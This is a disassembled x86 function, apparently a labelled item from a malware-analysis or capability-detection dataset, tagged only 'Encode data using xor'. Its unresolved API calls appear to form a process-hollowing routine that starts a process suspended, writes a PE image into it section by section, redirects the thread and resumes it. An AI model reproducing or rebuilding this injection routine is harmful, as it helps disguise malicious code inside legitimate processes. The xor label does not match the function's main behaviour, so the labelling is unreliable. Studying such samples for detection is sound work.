Function at 0x40566c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0x50
push 0
push 0
dec ecx
jne 0x4054d1
push ecx
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403894
mov eax, dword [ebp - 0xc]
call fcn.00403894
xor eax, eax
push ebp
push 0x405962
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea ecx, [ebp - 0x150]
mov edx, 0x40597c
mov eax, 0x405998
call fcn.00404178
mov eax, dword [ebp - 0x150]
call fcn.0040416c
mov ecx, eax
lea eax, [ebp - 0x3c]
mov edx, 0x10
call fcn.00402be8
lea ecx, [ebp - 0x154]
mov edx, 0x40597c
mov eax, 0x405998
call fcn.00404178
mov eax, dword [ebp - 0x154]
call fcn.0040416c
mov ecx, eax
lea eax, [ebp - 0x80]
mov edx, 0x44
call fcn.00402be8
mov dword [ebp - 0x80], 0x44
lea edx, [ebp - 0x158]
xor eax, eax
mov al, byte [ebp + 8]
call fcn.00405428
mov eax, dword [ebp - 0x158]
call fcn.00405468
mov word [ebp - 0x50], ax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.004038a4
push eax
mov eax, dword [ebp - 8]
call fcn.004038a4
push eax
call dword [0x40e690]
test eax, eax
je 0x405927
mov byte [ebp - 0x25], 1
xor edx, edx
push ebp
push 0x405920
push dword fs:[edx]
mov dword fs:[edx], esp
mov dword [ebp - 0x14c], 0x10002
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebp - 0x38]
push eax
call dword [0x40e68c]
test eax, eax
je 0x4058d2
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x15c]
mov edx, 0x40597c
mov eax, 0x4059a4
call fcn.00404178
mov eax, dword [ebp - 0x15c]
call fcn.0040416c
cdq
push edx
push eax
mov eax, dword [ebp - 0xa8]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [0x40e688]
test eax, eax
je 0x4058d2
lea ecx, [ebp - 0x160]
mov edx, 0x40597c
mov eax, 0x405998
call fcn.00404178
mov eax, dword [ebp - 0x160]
call fcn.0040416c
mov ebx, eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [0x40e728]
cmp ebx, eax
jg 0x4058d2
cmp dword [ebp - 4], 0
je 0x4058d2
lea edx, [ebp - 0x164]
mov eax, dword [ebp - 0x14]
call fcn.0040538c
mov eax, dword [ebp - 0x164]
call fcn.004053cc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 4]
mov dword [ebp - 0x24], eax
push 4
push 0x3000
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x50]
push eax
lea edx, [ebp - 0x168]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x34]
call fcn.0040538c
mov eax, dword [ebp - 0x168]
call fcn.004053cc
push eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [0x40e684]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4058d2
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x54]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [0x40e694]
test eax, eax
je 0x4058d2
lea edx, [ebp - 0x16c]
mov eax, dword [ebp - 0x18]
call fcn.0040538c
mov eax, dword [ebp - 0x16c]
call fcn.004053cc
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
call fcn.00405358
mov esi, eax
lea ecx, [ebp - 0x170]
mov edx, 0x40597c
mov eax, 0x405998
call fcn.00404178
mov eax, dword [ebp - 0x170]
call fcn.0040416c
mov ebx, eax
lea ecx, [ebp - 0x174]
mov edx, 0x40597c
mov eax, 0x4059b0
call fcn.00404178
mov eax, dword [ebp - 0x174]
call fcn.0040416c
mov edx, dword [ebp - 0x24]
movzx edx, word [edx + 6]
sub edx, eax
sub edx, ebx
jb 0x4057e3
inc edx
mov dword [ebp - 0x2c], edx
lea eax, [ebp - 0x1c]
push eax
lea edi, [ebx + ebx*4]
mov eax, dword [esi + edi*8 + 0x10]
push eax
mov eax, dword [esi + edi*8 + 0x14]
add eax, dword [ebp - 4]
push eax
mov eax, dword [esi + edi*8 + 0xc]
add eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [0x40e694]
test eax, eax
je 0x4057dd
lea eax, [ebp - 0x20]
push eax
mov eax, dword [esi + edi*8 + 0x24]
call fcn.00405364
push eax
mov eax, dword [esi + edi*8 + 8]
push eax
mov eax, dword [esi + edi*8 + 0xc]
add eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [0x40e6a0]
inc ebx
dec dword [ebp - 0x2c]
jne 0x40578e
lea edx, [ebp - 0x278]
mov eax, dword [ebp - 0x20]
call fcn.0040412c
lea edx, [ebp - 0x278]
lea eax, [ebp - 0x280]
call fcn.00403738
mov eax, dword [ebp - 0x280]
call fcn.0040416c
lea edx, [ebp - 0x278]
call fcn.0040412c
lea edx, [ebp - 0x278]
lea eax, [ebp - 0x27c]
call fcn.00403738
mov eax, dword [ebp - 0x27c]
call fcn.0040416c
lea edx, [ebp - 0x278]
call fcn.0040412c
lea edx, [ebp - 0x278]
lea eax, [ebp - 0x178]
call fcn.00403738
mov eax, dword [ebp - 0x178]
call fcn.0040416c
lea eax, [ebp - 0x1c]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x284]
mov edx, 0x40597c
mov eax, 0x4059a4
call fcn.00404178
mov eax, dword [ebp - 0x284]
call fcn.0040416c
cdq
push edx
push eax
mov eax, dword [ebp - 0xa8]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [0x40e694]
test eax, eax
je 0x4058d2
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebp - 0x38]
push eax
call dword [0x40e680]
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x25], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405927
cmp byte [ebp - 0x25], 0
jne 0x405912
lea ecx, [ebp - 0x288]
mov edx, 0x40597c
mov eax, 0x405998
call fcn.00404178
mov eax, dword [ebp - 0x288]
call fcn.0040416c
push eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [0x40e6a4]
jmp 0x40591c
mov eax, dword [ebp - 0x38]
push eax
call dword [0x40e67c]
mov bl, byte [ebp - 0x25]
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405969
lea eax, [ebp - 0x288]
mov edx, 4
call fcn.004035e0
lea eax, [ebp - 0x178]
mov edx, 0xb
call fcn.004035e0
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004035e0
ret